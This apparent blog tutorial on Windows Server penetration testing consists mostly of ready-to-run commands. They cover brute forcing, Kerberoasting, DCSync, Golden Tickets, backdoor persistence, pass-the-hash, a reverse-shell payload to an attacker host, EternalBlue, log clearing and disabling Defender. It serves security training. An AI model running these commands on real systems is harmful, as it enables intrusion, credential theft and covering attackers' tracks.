Windows Server Attack Vectors: Advanced Penetration Testing Guide

Comprehensive guide to Windows Server penetration testing, covering reconnaissance, port scanning, exploitation techniques, and privilege escalation.

6 min read
ibrahimsql
1,019 words

Windows Server Attack Vectors: Advanced Penetration Testing Guide#

Windows Server environments are critical infrastructure components that require thorough security assessment. This comprehensive guide covers advanced attack vectors and penetration testing techniques specifically targeting Windows Server systems.

Initial Reconnaissance#

Network Discovery#

Before targeting specific services, perform comprehensive network reconnaissance:

# Network sweep to identify live hosts
nmap -sn 192.168.1.0/24

# Comprehensive port scan
nmap -sS -sV -O -A -p- target_ip

# UDP scan for additional services
nmap -sU --top-ports 1000 target_ip

Service Enumeration#

SMB/NetBIOS Enumeration#

# SMB version detection
nmap -p 445 --script smb-protocols target_ip

# Share enumeration
smbclient -L //target_ip -N
enum4linux -a target_ip

# Null session testing
rpcclient -U "" -N target_ip

RPC Enumeration#

# RPC endpoint enumeration
rpcinfo -p target_ip
impacket-rpcmap target_ip

# MSRPC enumeration
nmap -p 135 --script msrpc-enum target_ip

Port-Specific Attack Vectors#

Port 21 - FTP Service#

# Anonymous FTP access
ftp target_ip
# Try anonymous:anonymous or ftp:ftp

# FTP bounce attack
nmap -b ftp_server:21 target_range

# FTP brute force
hydra -L users.txt -P passwords.txt ftp://target_ip

Port 22 - SSH Service#

# SSH version enumeration
nmap -p 22 --script ssh2-enum-algos target_ip

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://target_ip

# SSH key enumeration
nmap -p 22 --script ssh-hostkey target_ip

Port 53 - DNS Service#

# DNS zone transfer
dig axfr @target_ip domain.com
dnsrecon -d domain.com -t axfr

# DNS enumeration
dnsrecon -d domain.com -D subdomains.txt -t brt
fierce -dns domain.com

Port 80/443 - Web Services#

# Web application scanning
nmap -p 80,443 --script http-enum target_ip
gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt

# SSL/TLS testing
sslscan target_ip:443
testssl.sh target_ip:443

Port 135 - RPC Endpoint Mapper#

# RPC enumeration
rpcinfo -p target_ip
impacket-rpcmap target_ip

# DCOM exploitation
impacket-dcomexec domain/user:password@target_ip

Port 139/445 - SMB Services#

# SMB vulnerability scanning
nmap -p 445 --script smb-vuln-* target_ip

# EternalBlue exploitation (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 target_ip

# SMB relay attacks
impacket-ntlmrelayx -tf targets.txt -smb2support

Port 389/636 - LDAP Services#

# LDAP enumeration
ldapsearch -x -h target_ip -s base
nmap -p 389 --script ldap-rootdse target_ip

# LDAP injection testing
sqlmap -u "ldap://target_ip" --technique=B

Port 1433 - SQL Server#

# SQL Server enumeration
nmap -p 1433 --script ms-sql-info target_ip

# SQL Server brute force
hydra -L users.txt -P passwords.txt mssql://target_ip

# SQL Server exploitation
sqlmap -d "mssql://user:pass@target_ip/database"

Port 3389 - RDP Service#

# RDP enumeration
nmap -p 3389 --script rdp-enum-encryption target_ip

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://target_ip

# BlueKeep vulnerability (CVE-2019-0708)
nmap -p 3389 --script rdp-vuln-ms12-020 target_ip

Port 5985/5986 - WinRM#

# WinRM enumeration
nmap -p 5985,5986 --script http-methods target_ip

# WinRM brute force
crackmapexec winrm target_ip -u users.txt -p passwords.txt

# WinRM shell access
evil-winrm -i target_ip -u username -p password

Active Directory Attack Vectors#

Kerberos Attacks#

# Kerberoasting
impacket-GetUserSPNs domain.com/user:password -dc-ip dc_ip -request

# ASREPRoasting
impacket-GetNPUsers domain.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt

# Golden Ticket attack
impacket-ticketer -nthash krbtgt_hash -domain-sid domain_sid -domain domain.com administrator

DCSync Attack#

# DCSync using impacket
impacket-secretsdump domain.com/user:password@dc_ip

# DCSync using mimikatz
mimikatz "lsadump::dcsync /domain:domain.com /user:krbtgt"

Post-Exploitation Techniques#

Privilege Escalation#

# Windows privilege escalation enumeration
wmic qfe list
systeminfo
net user
net localgroup administrators

# PowerShell privilege escalation
PowerUp.ps1
Sherlock.ps1
WinPEAS.exe

Persistence Mechanisms#

# Service persistence
sc create backdoor binpath= "C:\\backdoor.exe" start= auto

# Registry persistence
reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v backdoor /t REG_SZ /d "C:\\backdoor.exe"

# Scheduled task persistence
schtasks /create /tn "backdoor" /tr "C:\\backdoor.exe" /sc onlogon

Lateral Movement#

# PsExec lateral movement
impacket-psexec domain/user:password@target_ip

# WMI lateral movement
impacket-wmiexec domain/user:password@target_ip

# Pass-the-Hash attacks
impacket-psexec -hashes lm_hash:nt_hash domain/user@target_ip

Defense Evasion Techniques#

AV Evasion#

# Payload encoding
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

# PowerShell obfuscation
Invoke-Obfuscation

# Living off the land techniques
powershell -enc <base64_encoded_command>

Log Evasion#

# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Advanced Attack Scenarios#

Domain Controller Compromise#

  1. Initial Access: Exploit vulnerable services or use social engineering
  2. Credential Harvesting: Extract credentials from memory using Mimikatz
  3. Privilege Escalation: Exploit local vulnerabilities or misconfigurations
  4. Domain Admin Access: Use DCSync or Golden Ticket attacks
  5. Persistence: Install backdoors and maintain access

Multi-Stage Attack Chain#

# Stage 1: Initial reconnaissance
nmap -sS -sV -O target_network

# Stage 2: Service exploitation
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target_ip
exploit

# Stage 3: Post-exploitation
run post/windows/gather/hashdump
run post/windows/gather/enum_domain

# Stage 4: Lateral movement
use exploit/windows/smb/psexec
set SMBUser username
set SMBPass password
set RHOSTS next_target
exploit

Mitigation and Hardening#

Security Best Practices#

  1. Patch Management: Keep systems updated with latest security patches
  2. Network Segmentation: Implement proper network isolation
  3. Access Controls: Use principle of least privilege
  4. Monitoring: Deploy comprehensive logging and monitoring
  5. Endpoint Protection: Use advanced anti-malware solutions

Specific Hardening Measures#

# Disable unnecessary services
Stop-Service -Name "Spooler" -Force
Set-Service -Name "Spooler" -StartupType Disabled

# Configure Windows Firewall
New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block

# Enable audit policies
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

Conclusion#

Windows Server penetration testing requires a systematic approach combining automated tools with manual techniques. Understanding the attack surface, common vulnerabilities, and exploitation methods is crucial for both offensive security professionals and defenders.

Remember to always:

  • Obtain proper authorization before testing
  • Document all findings thoroughly
  • Provide actionable remediation recommendations
  • Follow responsible disclosure practices

This guide provides a foundation for Windows Server security assessment, but continuous learning and practice are essential in this rapidly evolving field.

References#

This content is for educational and authorized testing purposes only. Always ensure you have proper permission before conducting any security testing.

Related Posts